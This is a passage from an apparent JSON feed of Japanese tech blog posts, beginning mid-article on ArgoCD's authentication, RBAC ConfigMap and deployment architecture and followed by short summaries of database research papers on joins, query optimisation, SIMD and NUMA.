を指定して、認可レスポンスを送信します。認可レスポンスは、argocd-serverを介して、dex-serverに届きます。GitHubをIDプロバイダーとする場合、 Developer settingsタブ でSSOを設定する必要があり、この時にAuthorization callback URLという設定箇所があるはずです\uD83D\uDC4D\uD83C\uDFFB(6) argocd-serverによる認可フェーズ実施argocd-serverは、AuthZで認可フェーズを実施します。ConfigMap (argocd-rbac-cm) を参照し、IDプロバイダーから取得したユーザーやグループに、ArgoCD系カスタムリソースに関する認可スコープを付与します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、developerロールにはdevというAppProjectに属するArgoCD系カスタムリソースにのみ、またmaintainerロールには全てのAppProjectの操作を許可しています。またこれらのロールを、IDプロバイダーで認証されたグループに紐づけています。特定のArgoCD系カスタムリソースのみへのアクセスを許可すれば、結果として特定のClusterへのデプロイのみを許可したことになります\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール policy.default: role:developer policy.csv: | p, role:developer, *, *, dev/*/*, allow p, role:maintainer, *, *, dev/*/*, allow p, role:maintainer, *, *, prd/*/*, allow g, developers, role:developer g, maintainers, role:maintainer scopes: \\"[groups]\\"ConfigMap (argocd-rbac-cm) の認可スコープの定義には、 Casbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を定義できます。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetes06. argocd-server (argocd-apiserver)argocd-serverとは最後に、インフラレイヤーにあるargocd-serverです。『argocd-apiserver』とも呼ばれます。みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能し、他のコンポーネントと通信します\uD83E\uDD84仕組み(1) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。(2) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、ポーリング対象のリポジトリのマニフェストの差分を検出します。(3) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(4) application-controllerによる処理結果取得argocd-serverは、redis-serverから処理結果を取得します。(5) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(6) IngressコントローラーによるルーティングIngressコントローラーは、Ingressのルーティングルールを参照し、argocd-serverにルーティングします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。(8) IDプロバイダーによる認証フェーズ実施IDプロバイダー上で認証フェーズが完了します。argocd-serverは、ConfigMap (argocd-rbac-cm) を参照し、プロダクト用Cluster管理者に認可スコープを付与します。(9) argocd-serverによる認可フェーズ実施argocd-serverは、認可スコープに応じて、プロダクト用Cluster管理者がApplicationを操作可能にします。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata: # 設定してはダメ # application.namespaces: \\"*\\" # 全てのNamespaceを許可する。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: dev-foo-project namespace: foospec: # 設定してはダメ # sourceNamespaces: # - \\"foo\\"これらにより、fooのNamespaceに属するArgoCDは、他のNamespaceにはアクセスできなくなります\uD83D\uDC4DInstallation - Argo CD - Declarative GitOps CD for Kubernetes(10) application-controllerによるマニフェストデプロイプロダクト用Cluster管理者は、ダッシュボード (argocd-server) を使用して、ClusterにマニフェストをSyncします。この時、Applicationを介してapplication-controllerを操作し、マニフェストをデプロイします。図では、App-Of-Appsパターンを採用したと仮定しています\uD83D\uDC68‍\uD83D\uDC69‍\uD83D\uDC67‍\uD83D\uDC66デザインパターンがあります。これは、Applicationを階層上に作成するものであり、最下層のApplication配下のマニフェストをより疎結合に管理できます✌️例えば以下の画像の通り、最上位のApplication配下に、チーム別の親Applicationを配置します (アプリチームの親Application、インフラチームのそれ) 。その後、両方のApplication配下にさらにチャート別に最下層の子Applicationを配置し、チャートのデプロイを管理します。アプリチーム最下層の子Applicationではアプリコンテナのチャート、インフラチームの子Applicationでは監視/ネットワーク/ハードウェアリソース管理系のチャートを管理します\uD83D\uDC4D07. アーキテクチャのまとめ今までの全ての情報をざっくり整理して簡略化すると、ArgoCDは以下の仕組みでマニフェストをデプロイすることになります\uD83D\uDC4708. おわりにArgoCDによるデプロイの仕組みの仕組みをもりもり布教しました。ArgoCDは、UIが使いやすく、仕組みの詳細を知らずとも比較的簡単に運用できるため、ユーザーフレンドリーなツールだと思っています。もしArgoCDを使わずにマニフェストをデプロイしている方は、ArgoCDの採用をハイパー・ウルトラ・アルティメットおすすめします\uD83D\uDC4Dなお、登場した設計プラクティスのいくつかは、以下の書籍にも記載されており、ぜひご一読いただけると\uD83D\uDE47\uD83C\uDFFB‍GitOps Cookbook (English Edition)Argo CD in Practice: The GitOps way of managing cloud-native applications謝辞ArgoCDの設計にあたり、以下の方に有益なプラクティスをご教授いただきました。@yaml_villager さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/05/02/145115","isoDate":"2023-05-02T05:42:57.000Z","dateMiliSeconds":1683006177000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"現代のクエリオプティマイザの基礎となる技術をまとめた論文を読みました","contentSnippet":"この記事の趣旨1998年に発表されたクエリオプティマイザの基礎としてとくに重要な手法をまとめた論文を読みました。An Overview of Query Optimization in Relational Systems著者についてSurajit Chaudhuriによる論文Microsoft所属の研究者でRDBMSの研究を行なっており、近年ではCloudにおけるDBMSの研究を行なっている。概要RDBMSが提案された1970年代からクエリ最適化は大規模で幅の広く研究が行なわれてきた。この論文では執筆当時(1998年)までの重要な研究の基礎を説明している。手法探索空間統計情報とコストの推定列挙アルゴリズムアルゴリズムについて説明している。論文内では拡張可能なオプティマイザとして、StarburstとVolcano/Cascadeの2種類のオプティマイザの詳細を論じている。最新(当時)の最適化リアライズドビューについて説明している。作業時間read31:4031:40author33:402:00summary52:5519:15感想ベクトル化やパラレルジョインで扱われていたVolcanoオプティマイザの端に触れることが出来ました。内容としては基礎的な内容が多いものの、知らない概念もいくつかあり引用している論文も読みたいです。クエリ最適化の基礎を学ぶのに非常にいい内容でした。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/15_query_optimization_overview","isoDate":"2023-05-02T01:54:29.000Z","dateMiliSeconds":1682992469000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"DBMSとクライアント間におけるデータ転送を最適化する論文を読みました","contentSnippet":"この記事の趣旨2017年に出版されたリモートDBMSとクライアント間の大量データ転送を最適化する手法を提案する論文を読みました。Don’t Hold My Data Hostage – A Case For Client Protocol Redesign著者についてMark Raasveldt、Hannes Muhleisenらのグループによる論文。いずれもCentrum Wiskunde & Informaticaの所属で、DuckDBのCxO。DBMSと分析システムにおけるパフォーマンス最適化を研究している。問題意識DBMSからクライアントプログラムに大量のデータを転送することは一般的なタスクである。例えばRやPythonなどを用いた分析システムはしばしばデータベース・インターフェースを利用してデータの取得を行なっている。一方でネットワーク越しにデータを転送することはレイテンシを増加させ、転送時間を長引かせる要因である。そのため分析用途で大量のデータ転送を避け、一部のデータをサンプルとして利用するに止まることが多い。このアプローチはパフォーマンスの低下を押さえられるものの、分析や機械学習の精度を下げることに繋がる。とくに既存のクライアントではネットワークによるレイテンシとスループットの制限に大きな影響を受けパフォーマンスを劣化させる。この問題はデータベースが別マシンやクラウドで動作するときにより大きな問題となる。手法本論文では既存のシリアライズ手法と圧縮手法によるパフォーマンスへの影響を計測し、新しいプロトコルとして以下の特性を持つ手法を提案している。1. チャンク毎のデータ転送と(デ)シリアライゼーション1. ヒューリスティックによる圧縮方法の決定1. text/binaryによるカスタムシリアライゼーションを使用する1. NULL終端によるテキストの取り扱い実験結果提案手法を実装したMonetDB(表内ではMonetDB++)とPostgreSQL(表内ではPostgreSQL++)を既存のDBMSやnetcatと比較することで評価を行なっている。TCP-Hのlineitem、American Community Survay、Airline On-Time Statisticsの3つのデータセットで評価を行なったところ、ローカル通信における非圧縮netcatを除き殆どのケースでMonetDB++系が最良のパフォーマンスを発揮し次点でPostgreSQL++系が優れた結果を残している。Table 10Table 11Table 12PostgreSQLに比べMonetDBが優れている理由はPostgreSQLの行指向データを列指向に変換するコストのためである。作業時間read31:2131:21author35:384:17summary70:1334:35感想論文出版時にはTPC/IPプロトコルが前提でQuic登場前のため、ネットワークプロトコル自体は考慮されていない。現在であればTPC/IPとQuicに適合した手法の比較が行なわれると思うので気になるところ。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/14_data_transfer_between_server_and_client","isoDate":"2023-05-01T03:34:18.000Z","dateMiliSeconds":1682912058000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"SQL ServerにおけるUDF最適化の論文を読みました","contentSnippet":"この記事の趣旨2017年に発表されたSQL ServerでUDFを最適化しているFroidという手法についての論文を読みました。Froid: Optimization of Imperative Programs in a Relational Database著者についてKarthik Ramachandra、Kwanghyun Park、K. Venkatesh Emani、Alan Halverson、Cesar Galindo-Legaria、Conor Cunninghamのグループによる論文。ほとんどの著者はMicrosoftに所属しており、いずれもトランザクショナルワークロードでのRDBMSの最適化や分析ワークロードにおけるRDBMS最適化の研究をしている。問題意識RDBMSではSQLによるデータ処理アプローチと、UDFやストアドプロシージャなどによる命令型のデータ処理アプローチを提供している。SQLによるデータアクセスは高度に最適化されてきた一方で、命令型のデータ処理は非効率なため性能を阻害し利用を禁止している組織すらある。UDFによるデータアクセスは非効率であるものの、SQLに比べ下記のような利点を提供するため幅広く利用されているのも事実である。1. SQL間でコードの再利用方法を提供する1. 複雑なビジネスロジックやMLアルゴリズムなどSQLでは難しい表現を可能にする1. 単純なSQLの組み合わせのため、ユーザーの意図が明確に表現できるこれらのメリットを享受するためにRDBMSにおける命令型データアクセス手法のパフォーマンスを向上しする必要があった。手法提案手法であるFroidはMicrosoft SQL Serverにおける命令型コードのパフォーマンス向上の手法として、UDFを複雑なサブクエリとしてみなすアプローチを取っている。UDFを構成する命令はDECLARE、SELECT、IF/ELSE、RETURN、他のUDF、リレーショナルオペレーションの6つに分ることができる。提案手法ではこれらの命令を一般的なT-SQLに置き換え、Apply演算により一つの関係式に結合する方法で実現している。Table 1命令が一般SQLに置き換えられることでUDFに対して、SQLに用いられていた高度な最適化を導入することが出来る。また提案手法ではい以下の理由から、SQLとして命令を置換するときにクエリ最適化時に行なうのではなくバインド時に置換をしている。1. 実際のワークロードでの実験ではほぼ全てのケースでバインド時のほうが性能がよかった1. クエリオプティマイザの変更が不要1. バインディング時に特定の最適化を行なえるとくにクエリオプティマイザの変更はSQL Serverが商用データベースなため重要であった。作業時間read28:5028:50author32:103:20summary57:0024:50","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/13_sql_server_udf_optimization","isoDate":"2023-04-28T02:29:05.000Z","dateMiliSeconds":1682648945000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Pull Requestで意識していること","contentSnippet":"どんな記事？Pull Request（以後PR）で自分がレビュイのときに意識していることをまとめてみました。PRだけじゃなくSlack等のテキストベースコミュニケーションでも同じようなことを意識…","link":"https://qiita.com/bayobayo0324/items/0d986370e0de95705b6f","isoDate":"2023-04-28T02:19:23.000Z","dateMiliSeconds":1682648363000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"DBMSの歴史とNewSQL","contentSnippet":"この記事はDBMSの登場以前から現代のDBMSを取り巻く環境までを振り返ることで、なぜNewSQLが必要とされ登場したのかをまとめます。 おことわり筆者はあくまでDBMSユーザーであり、研究者ではないため内容は個人の見解です。また対象読者はある程度DBMSに関わりがあり、OLTPやOLAP、列指向や行指向といった基本的な単語を理解しているものとします。またNewSQLの技術的詳細はスコープ外とします。 DBMS以前データベースという言葉は1950年代に米軍が情報基地を集約したことに由来します。一方で学術的なデータベースの起源はW. C. McGeeが1959年に発表...","link":"https://zenn.dev/nnaka2992/articles/history_of_db_and_newsql","isoDate":"2023-04-26T14:28:19.000Z","dateMiliSeconds":1682519299000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[DBREブログ] Snowflake とは？","contentSnippet":"はじめに クラウドデータウェアハウスの Snowflake についての解説です。Snowflake のアーキテクチャや料金体系、特徴、セキュリティについて説明しています。 概要 プラットフォームの概要 Snowflake […]The post [DBREブログ] Snowflake とは？ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/what-is-snowflake/","isoDate":"2023-04-26T02:37:56.000Z","dateMiliSeconds":1682476676000,"authorName":"Sreake","authorId":"Sreake"},{"title":"中間結果が莫大になるときの結合を最適化する最悪ケース最適化結合をRDBMSに適応する論文を読みました","contentSnippet":"この記事の趣旨2018年に発表された分析ワークロードなどで発生しがちな最終結果に比べ、非常に大きな中間結果を作成してしまうクエリを多方向結合で最適化する論文を読みました。Adopting Worst-Case Optimal Joins in Relational Database Systems著者についてMichael Freitag、Maximilian Bandle、Tobias Schmidt、Alfons Kemper、Thomas Neumannによるグループの論文いずれの著者もDBMSにおける最適化を中心に研究しており、それぞれ分析ワークロードにおける最適化や最新のハードウェアにおける最適化などを研究している。問題意識従来のRDBMSにおける結合処理のほとんどはバイナリ結合に依存して複数のリレーションにまたがるクエリを処理してきた。数十年に渡る研究によりバイナリ結合は幅広い柔軟性と優れた性能を発揮するようになった。その一方でバイナリ結合による実行計画は特定のワークロードでは最適ではないケースを示すことが知られている。主な原因として実際のクエリ結果に比べて非常に大きな中間結果を生成するためである。とくにPK以外のキーによる結合が多くなる分析ワークロードではそのような状態を避けることが難しく、またグラフ分析のようなクエリパターンでも多く見られる。近年の論理的な進歩により中間結果の列挙を避ける多方向結合のアルゴリズムが開発可能になった。この手法はバイナリ結合計画より優れた実行時間を保証できるため、RDBMSの堅牢性を大幅に向上させる可能性を持っている。しかし現状最悪ケース最適化結合アルゴリズムでは以下のような問題を抱えている。1. 膨大なストレージとメンテナンスを必要とする結合に参加出来るカラムを含むインデックスを必要とする。1. RDBMSは挿入と更新のサポートが必要なものの、既存のアルゴリズムは高価な事前計算を必要とする。そのため本論文は以下の制約を満たすアプローチを提案している1. 多方向結合が有益な場合のみ多方向結合を使用するオプティマイザを必要とする。1. 実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。手法提案手法では比較ベースではなくハッシュベースの結合のため、2の「実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。」という要素の考慮を除いている。またオプティマイザについては既存のコストベースのものを拡張し適応している。提案手法では潜在的に成長している結合のカスケードを最悪の場合の最適結合に置き換えることで、最適化されたバイナリ結合計画を洗練させるヒューリスティックなアプローチを提案している。通常の結合順序最適化で使用されるのと同じカーディナリティ推定値に基づいて、中間テーブルが膨大になる結合を特定する。作業時間read22:1322:13author25:483:35summary52:5826:50感想とても難しい内容に感じてしまい、殆ど頭を通りすぎてしまった気がする。今まで最適化は触れずに来たため、理解が浅い領域だった。よくよく考えるとDBMSの話しに最適化が登場するのはあたりまえなので、今後はその方面にも触れて行きたい。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/12_worst_case_optimal_join","isoDate":"2023-04-26T02:06:46.000Z","dateMiliSeconds":1682474806000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"マルチコアメインメモリにおけるソートジョインとハッシュジョインのパフォーマンスを検証した論文を読みました","contentSnippet":"この記事の趣旨2013年に発表された\\"Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited\\"という論文を読みました。当時最新のアルゴリズムとハードウェアにおける、ソートとハッシュによる結合のパフォーマンスを比べた論文です。Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited著者についてCagri Balkesen、Gustavo Alonso、Jens Teubner、M. Tamer Ozsuらのグループによる論文いずれもDBMSにおけるクエリ最適化やビッグデータにおけるパフォーマンスを研究している。またGustavo Alonsoはハードウェアや分散システムもメインのフィールドとしている。問題意識DBMSにおいて常にソートマージとハッシュ結合の性能比較が行われており、最新の研究ではSIMDやNUMAへの適正に基づいてソートマージがより優れていると結論づけられていた。しかしこれらの分野は常に研究が重ねられ、過去の検証時には登場していなったハッシュ結合の最適化手法が生れた。この論文ではそれらを適用し再度ソートマージとハッシュ結合の性能比較を行なう。手法本論文では以下に分けて結合手法の評価を行なっている。1. ソートフェーズの評価SIMDソートアルゴリズムとC++のSTLソートアルゴリズムを比較している。マージフェーズの評価入力サイズの調整によるマージフェーズの最適化パーマンスを検証している。ソートマージジョインにおける影響要因の特定結果結合対象のデータサイズに拘わらずハッシュによる結合がソートベースの結合のパフォーマンスを上回っている。Figure 14ソートマージによる結合は入力サイズが著しく大きくなったときのみハッシュ結合のパフォーマンスに近づく。Figure 15ソートマージ、ハッシュ結合におけるデータの偏りはパフォーマンスに大きな影響を及ぼさなかった。Figure 16いずれのアルゴリズムも物理的なコア数では線形にスケールした。Figure 17作業時間read23:1123:11author27:093:58summary60:1232:57","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/11_join_performance_comparison","isoDate":"2023-04-24T02:23:54.000Z","dateMiliSeconds":1682303034000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"RDBでの結合手法を比較した論文を読みました","contentSnippet":"この記事の趣旨2016年に発表された\\"An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory\\"という論文を読みました。様々な結合手法を包括的に比較した論文でどのような結合方法がどのような時に適しているかを示しています。An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory著者についてStefan Schuh、Xiao Chen、Jens Dittrichのグループによる論文。いずれもDBMSや分析システム、Hadoopなどにおける検索高速化・最適化の研究を行なっている。問題意識関係結合はほとんど全てのクエリプランにおいて中核をなす処理であり、定期的に研究・改良され再検討されてきた。新たな手法が提案され実験を行なわれるものの、それぞれ結果において比較を困難にする要素や幾らかの矛盾を孕んでいた。例えば同じハッシュベースの結合アルゴリズムの比較でも実装が異なったり、複数の論文でパフォーマンス比較で正反対の結果を示しているためである。そのため単純に論文執筆時点で最も高速な結合アルゴリズムを結論づけることが困難であった。手法本論文では結合方法を以下の3つに分類した1. パーティションベースハッシュジョインパーティションに分割し結合する手法。ハッシュテーブルの構築と結合されるデータの探索のキャッシュミスを最小にする事を目的としている。非パーティションベースハッシュジョインパーティションテーブルを構築しながら結合を行なう手法で、マルチスレッドと順番に依存しない実行によりキャッシュミスのパフォーマンス劣化を隠蔽している。ソートマージジョインSIMDによりベクトル化される。検証ではこれらの結合方法を以下の3つのテストで使用するために、全部で13のアルゴリズムを検証している。1. ブラックボックス比較ブラックボックス的に比較する。ホワイトボックス比較ブラックボックス比較で検証する結合方法に先行研究で示された最適化を施した上で比較を行なう。パラレルラディックスジョイン比較Table 2結果パーティション結合の一種であるリモート書込みを排除したCPR系アルゴリズムは小さな入力に対して有効ではないスケールの大きい結合ではとくに理由が無い場合、パーティションベースのジョインを利用する大きなサイズのページを利用するソフトウェアライトコンバインバッファ()を利用するパーティションジョインでは適切なパーティションビットを利用するできるかぎりシンプルなアルゴリズムを利用するNUMAを考慮したアルゴリズムを利用する実行時間とクエリ時間は同一ではない作業時間read31:3431:34author35:183:46summary77:5042:32","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/10_join_method_comparison","isoDate":"2023-04-23T14:16:28.000Z","dateMiliSeconds":1682259388000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"新卒2年目がAWS12冠を達成し、2つの賞を受賞するまで。","contentSnippet":"はじめに先日の2023 AWS Summit Tokyoで今年のAWSに関する受賞者が発表されました！各賞の詳細についてはこちら私は、2023/3月までに（新卒2年目で）12冠を達成したので、…","link":"https://qiita.com/yokoo-an209/items/0b9ca7b2eddbb586dcbc","isoDate":"2023-04-22T12:19:16.000Z","dateMiliSeconds":1682165956000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"コンパイルとベクトル化による最適化のパフォーマンスを比較した論文を読みました","contentSnippet":"この記事の趣旨2018年に発表された\\"Everything You Always Wanted to Know AboutCompiled and Vectorized Queries But Were Afraid to Ask\\"という論文を読みました。最新のクエリエンジンの特性をまとめ、どのようなワークロードに向くのかという指針を示すないようです。Everything You Always Wanted to Know About Compiled and Vectorized Queries But Were Afraid to AskTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Boncz著者についてTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Bonczのグループによる論文。いずれも大規模データにおけるクエリパフォーマスや最適化に関する研究を行なっている。問題意識分析ワークロードに向いた最新のクエリエンジンはベクトル化またはデータ中心のコード生成に基づいている。どちらのモデルも従来のエンジンに比べオーバーヘッドが少く、非常に効率的なものの概念的には大きく異なっている。この2つのモデルの違いは、DBMSの実行エンジンのソースコードの構成とその性能特性を決定する基本的なもので、クエリ実行モデルを超える多くの設計で異なる。本論文はことなる2つのモデルを再実装し、環境差異のないマシンで実行することでそれぞれのモデルがどのように違うのか。どのような用途に最適なのかを検証している。手法検証手法は著者らがC++で再実装したデータ中心モデルの「Taper」とベクトル化中心の「Tectorwise」を同一のマシンでパフォーマンス検証を行っている。検証項目は以下から成る1. インメモリOLAPワークロードでのマイクロアーキテクチャ分析1. SIMDの利点の検証1. マルチコアCPUにおけるクエリ並列化1. 異なるハードウェアでのパフォーマンス結果インメモリOLAPワークロードでのマイクロアーキテクチャ分析Figure 3: Performance – TPC-H SF=1, 1 threadSIMDの利点の検証SIMDを評価するにはTectorwiseのみを用いた。SIMDではスカラーなデータをベクトルに変換するペナルティは少く、最大8.4倍の性能向上が確認された。Figure 6: Scalar vs. SIMD Selection in TectorwiseマルチコアCPUにおけるクエリ並列化異なるハードウェアでのパフォーマンスIntel Skylake、Intel Knights Landing、AMD Ryzenで対照実験を行なったものの、いずれのハードウェアでもTyper、Tectorwiseともに有効に動作した。作業時間read29:2629:26author33:233:57summary76:3742:44感想VoectorwiseとHyperのいずれを使うべきか。どちらが優れているかといった疑問に答えるないようだった。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/9_compile_vs_vectorize_performance","isoDate":"2023-04-21T01:45:06.000Z","dateMiliSeconds":1682041506000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ポリテクセンターのススメ","contentSnippet":"はじめに各都道府県には職業能力開発促進センター（ポリテクセンター）と呼ばれる職業訓練を行う施設があります。プログラマやインフラエンジニアになるためにここ数年スクールを受講するのが流行っていますが、今回はこのポリテクセンターをおすすめしたいと思います。ポリテクセンターでは求職者向け訓練と在職者向け訓練があります。求職者向け訓練はこれから会社に就職するために6ヶ月ほど訓練を受講します。在職者向け訓練はすでに会社に就職している人向けの1〜3日ほどの内容を絞った講座形式になります。 求職者向け訓練例えば神奈川県にあるポリテクセンター関東では以下の求職者向け訓練があります。...","link":"https://zenn.dev/satoken/articles/polytech-susume","isoDate":"2023-04-21T00:57:44.000Z","dateMiliSeconds":1682038664000,"authorName":"satoken","authorId":"satoken"},{"title":"SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文を読みました","contentSnippet":"この記事の趣旨2020年に提案された\\"Make the most out of your SIMD investments: counter control flowdivergence in compiled query pipelines\\"という論文を読みました。SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文です。Make the most out of your SIMD investments: counter control flow divergence in compiled query pipelinesHarald Lang, Linnea Passing, Andreas Kipf, Peter Boncz, Thomas Neumann, Alfons Kemper著者についてHarald Lang、 Linnea Passing、 Andreas Kipf、 Peter Boncz、 Thomas Neumann、 Alfons Kemperのグループによる研究いずれも最新のアーキテクチャでのクエリ最適化やデータ分析における検索手法などを研究している。問題意識CPUの発展にともないあたらしいCPUアーキテクチャが登場した。Single Instruction Multiple Data(SIMD)ではRDBはSIMDによるベクトル処理能力の向上により、クエリコンパイラの実行パイプライン全体をベクトル化して高度なデータ並列性の恩恵を受けることが出来るようになった。一方でクエリ全体をベクトル化して実行することで、SIMDによるクエリ評価が忙しくなる。SIMD評価で結果に寄与しない評価が単純にオーバーヘッドとなってしまう。手法本論文ではリフィルアルゴリズムとそのアルゴリズムをクエリパイプラインプランに統合する手法で上記の問題の解決を試みている。リフィルアルゴリズムは基本的に新しい要素を宛先レジスタの希望する位置にコピーするアルゴリズムで、メモリからレジスタとレジスタからレジスタへのコピーの2パターンが存在する。クエリパイプラインプランに統合するリフィル戦略ではConsume EverythingパターンとPartial Consumeパターンが存在する。Consum Everything戦略は、タプルをバッファリングするために使用される追加のベクターレジスタを割り当てる方法で利用率が低い場合、オペレータはこれらのタプルの処理を延期する。つまり、この反復ではボディは実行されず(条件が満たされない場合)、代わりにアクティブなタプルがこれらのバッファレジスタに移動することになる。Partial Consume戦略ではconsume()コードを入力の一部に適用する方法で、制御フローを前のオペレータに戻し、アクティブなデータ断片のみをベクトルレジスタに残すことで実行を延期している。作業時間read29:4029:40author33:404:00summary60:0426:36感想前回に引続き個人的には難しいと感じる論文だった。2000年前後の提案にくらべ、2015年前後の論文ではハードウェアアーキテクチャを中心とした手法がピックアップされている。単純に自分の知識不足、理解力不足なので勉強するしかない。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/8_counter_control_flow_divergence_in_compiled_query_pipelines","isoDate":"2023-04-20T02:00:20.000Z","dateMiliSeconds":1681956020000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"NUMAアーキテクチャでのクエリ最適化に関する論文を読みました","contentSnippet":"この記事の趣旨\\"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework forthe Many-Core Age\\"という2014年に発表された、多コアサーバにおけるクエリ最適化手法をあつかった論文を読みました。[Morsel-Driven Parallelism: A NUMA-Aware QueryEvaluation Framework for the Many-Core Age](https://15721.courses.cs.cmu.edu/spring2023/papers/07-scheduling/p743-leis.pdf)Viktor Leis, Peter Boncz, Alfons Kemper, Thomas Neumann著者についてViktor Leis、 Peter Boncz、 Alfons Kemper、Thomas Neumannのグループによる研究いずれもデータベースと 高速化かを中心に研究している。問題意識コンピュータアーキテクチャの進化にともない、二つのあたらしい問題が生じた。多コアを利用するためにクエリを数百のスレッドに均等に分散させるそれをNUMA(Non-Uniform Memory Access)による順序通りではないメモリアクセスで実現する必要がある。これらの要因からplanベースの並列処理による不可分散とコンテキストスイッチとボトルネックが問題になりスケールが難しかった。NUMAによってデータとアクセススレッドがどのチップに配置されるかによって、データ項目のアクセスコストが異なるため、コンピュータ自体がネットワークになっており、多コア並列化では、RAMやキャッシュ階層を考慮する必要がある。この論文ではMoral-drivenクエリ実行フレームワークを提案している。手法提案手法は並列クエリ処理のため、morselドリブンクエリ評価フレームワークを提示した。これはメニーコア時代の分析クエリ性能の主要なボトルネックである負荷分散、スレッド同期、メモリアクセス局所性およびリソース弾力性を解決することを目的としている。ベースとなるアイデアは以下の2つに分けられる。メモリ上のデータをmorselと呼ばれる小さなバッチに分割し、バッチごとに処理を実行したあとにそれぞれの処理結果をグローバルハッシュテーブルとしてまとめる。Figure 3: NUMA-aware processing of the build-phaseディスパッチャと呼ばれる並行パイプライン制御を行ない、ワーカースレッドをタスクに割り当てるFigure 5: Dispatcher assigns pipeline-jobs on morsels to threads depending on the coreまとめとして著者はきめ細かいスケジューリング、完全演算子並列化、低オーバーヘッド同期、NUMA対応スケジューリングの原理を用いて、他のシステムでもメニーコアスケーリングを改善できると示唆している。作業時間read28:3628:36author32:453:09summary60:3727:52感想近現代のサーバアーキテクチャで主流になっているNUMAでのクエリパフォーマンス向上のための論文のため、古典的なものに比べ概念が難しいものが多い。もう少し理解を深めたい。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/7_numa_aware_query_evaluation_framework","isoDate":"2023-04-18T01:01:35.000Z","dateMiliSeconds":1681779695000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"列指向DBMSにおけるデータを提案した論文を読みました","contentSnippet":"この記事の趣旨\\"MonetDB/X100: Hyper-Pipelining Query Execution\\"という2005年に発表された、列指向DBMSを提案した論文を読んでいきます。分析ワークロード向けRDBMSにおける初期実装であるMonetDBを扱った論文で、提案時期が2005年と古くはあるものの現代のDWHの礎となる内容です。MonetDB/X100: Hyper-Pipelining Query ExecutionPeter Boncz, Marcin Zukowski, Niels Nes著者についてPeter Boncz、Marcin Zukowski、Niels Nseのグループによる論文。いずれの著者も機械学習や分析におけるDBMSについて研究している。問題意識2005年当時のDBMSは他のアプリケーションに比べ、IPCが低くなる傾向にあった。原因はほとんどのDBMSがコンパイラの最適化を阻害する実装だったためである。これはRDBMSが実装された当時に比べCPUやコンパイラが発達したためで、この論文ではC-store DBMSであるMonetDBと従来のR-store 